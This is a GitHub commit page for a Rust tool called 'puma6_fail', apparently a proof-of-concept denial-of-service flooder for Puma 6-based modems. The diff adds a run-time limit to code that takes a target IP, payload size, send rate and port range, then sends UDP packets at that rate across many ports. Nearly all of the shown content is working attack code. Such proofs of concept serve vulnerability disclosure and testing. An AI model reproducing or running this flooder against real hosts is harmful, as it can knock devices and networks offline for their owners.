Skip to content

Commit

Permalink
Add option to limit run time
Browse files Browse the repository at this point in the history
  • Loading branch information
LunNova committed May 7, 2017
1 parent 95c2208 commit 7ebdcb2
Showing 1 changed file with 13 additions and 6 deletions.
19 changes: 13 additions & 6 deletions src/main.rs
Expand Up @@ -16,32 +16,35 @@ fn main() {
let mut length = 0usize;
let mut mbper_second = 1f32;
let mut port_range = 50000;
let mut run_seconds = -1;

println!("usage: ./puma6_fail <target ip={}> <payload length={}> <mbps={}> <ports={}>", target, length, mbper_second, port_range);
println!("usage: ./puma6_fail <target ip={}> <payload length={}> <mbps={}> <ports={}> <run seconds={}>", target, length, mbper_second, port_range, run_seconds);

if args.len() <= 1 {
println!("A target IP must be given");
return;
}

target = args[1].as_str();

let source = UdpSocket::bind("0.0.0.0:10000").expect("couldn't bind to address");;
if args.len() > 2 {
length = args[2].as_str().parse::<usize>().expect("invalid packet size")
}

let data = vec![0; length as usize];

if args.len() > 3 {
mbper_second = args[3].as_str().parse::<f32>().expect("invalid speed")
}
let per_second = (1024f32 * 1024f32 * mbper_second) / 8f32;

if args.len() > 4 {
port_range = args[4].as_str().parse::<u16>().expect("invalid port count")
}

if args.len() > 5 {
run_seconds = args[5].as_str().parse::<i32>().expect("invalid run seconds");
}

let source = UdpSocket::bind("0.0.0.0:10000").expect("couldn't bind to address");;
let data = vec![0; length as usize];
let per_second = (1024f32 * 1024f32 * mbper_second) / 8f32;
let udp_length = length + 28;
let ethernet_length = udp_length + 26;
let packets_per_millisecond = (per_second / (udp_length as f32))/1000f32;
Expand All @@ -64,5 +67,9 @@ fn main() {
thread::sleep(Duration::from_millis(2));
}
}
if run_seconds > 0 && start.to(time::PreciseTime::now()).num_seconds() as i32 > run_seconds {
println!("run seconds exceeded, stopping");
return;
}
}
}

0 comments on commit 7ebdcb2

Please sign in to comment.